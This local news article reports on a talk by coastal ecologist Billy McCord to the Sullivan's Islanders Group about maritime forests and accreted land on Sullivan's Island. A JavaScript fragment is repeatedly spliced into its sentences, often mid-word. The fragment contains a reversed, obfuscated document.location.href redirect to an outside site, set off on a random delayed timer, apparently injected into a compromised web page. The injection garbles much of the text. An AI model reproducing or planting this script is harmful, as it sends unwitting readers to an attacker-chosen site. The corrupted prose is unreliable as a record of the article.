Saving the forest for the school

On Thursday, March 11, the Sullivan’s Islanders Group gathered at Sullivan’s Island Elementary School for the sixth presentation in their ongoing series directed tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the promotion of island heritage and the protection of the island’s unique way of life. The presentation, given by coastal ecologist Billy McCord, was held shortly after the school’s PTA meeting. The pairing of the two events was significant in that McCord’s talk tied directly in with the school’s future plan of becoming a partial magnet school with an emphasis on marine and environmental science.

During his presentation, McCord talked about the incredible value of young maritime forests and how important they are from an ecological standpoint. As one of the two primary SC DNR participants in the development of a cooperative management plan between the Charlestobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton County Parks and Recreation Commission for the undeveloped northeast end of Folly Beach and as a contributobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the officer DNR letter written tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the Sullivan’s Island Town Council tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to express the Department’s opinion relative tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}town’s Accreted Land Management Plan, McCord was well-versed on the island’s accreted land situation and was happy tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to discuss how best tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to protect this valuable natural resource. McCord also worked with the school last year tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to help update their nature trail and developed an interpretive brochure for the walk.

Past events held by the Sullivan’s Islanders Group include a lecture on air quality in Charlestobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton and the barrier islands by Dana Beach of the Coastal Conservation League; a Loggerhead Turtle talk by Mary Pringle and the Island Turtle Team; a Sullivan’s Island Histobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toric Tour with tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tour guide Roy Williams, author of “Images of America, Sullivan’s Island”; an accreted land walk with Dr. Richard Porcher; a land management talk with Dave Achey, directobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor of land management for the Kiawah Island Community Association, and a “best practices” lecture by Karl Ohlandt, landscape ecologist for the Spring Island Trust.

For more information about the Sullivan’s Islanders Group, visit www.sullivansislanders.net, or email Karen Coste (cscharlotte@bellsouth.net) or Larry Middaugh (larry.middaugh@gmail.com).

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